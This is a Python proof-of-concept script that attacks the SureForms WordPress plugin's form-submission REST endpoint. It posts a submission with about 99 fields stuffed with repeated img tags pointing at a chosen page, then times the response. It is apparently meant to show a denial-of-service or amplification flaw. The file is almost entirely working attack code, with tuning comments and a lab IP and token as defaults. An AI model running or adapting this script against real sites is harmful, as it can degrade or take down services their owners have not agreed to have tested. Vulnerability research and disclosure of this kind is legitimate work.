pocdos.py

import requests
import base64
def to_base64(text: str) -> str:
    # encode string -> bytes
    text_bytes = text.encode("utf-8")
    # convert bytes -> base64 bytes
    base64_bytes = base64.b64encode(text_bytes)
    # convert base64 bytes -> string
    return base64_bytes.decode("utf-8")

def poc(url,id,token,page,time):
    url = url + "/index.php/wp-json/sureforms/v1/submit-form"
    data ={
        "form-id" : id
    }
    cnt=0
    #please change this number to increase the payload size, but be careful, if the payload is too big, the request will be blocked or error.
    for i in range(1,100):
        #create random string 100 letters
        s=str(i)
        # push to data
        #encode to base64
        s=to_base64(s)
        x="xxx-lbl-" +str(s)+"-xxx"
        # pasting this payload how many times you want
        # &lt;img src=<the victim>page &gt;
        tmp = "&lt;img src=" + page + str(cnt) +"&gt;"
        for i in range(1,time+1):
            cnt+=1;
            tmp += "&lt;img src=" + page +str(cnt)+"&gt;"
        data[x]=tmp
    #set _local params
    params = {
        "_locale" : "user"
    }
    #header
    header = {
        "X-WP-Submit-Token": token
    }
    response = requests.post(url,data=data,params=params,headers=header)
    print(response.text)
    print (response.elapsed.total_seconds())

if __name__ == "__main__":
    # url =input("type wordpress url: ")
    # id = int(input("id of the form: "))
    # token = input("submit nonce: ")
    # page = input("page to be loaded: ")
    # times = int(input("how many times you want the page to be loaded: "))
    # token can be found at the form submit request
    # page can be the same as url.
    # the times is the times the payload will be loaded, the more times, the more payload size, but be careful, if the payload is too big, the request will be blocked or error.

    #example:
    url = "http://172.23.71.121/WordPress/"
    id = 6
    token = "11b4c08f09b9c2e313ba3dd3c97385780c8313fabc1809d5b426b5268f0afcd4"
    page = "http://172.23.71.121/WordPress/" 
    times=10
    poc(url,id,token,page,times)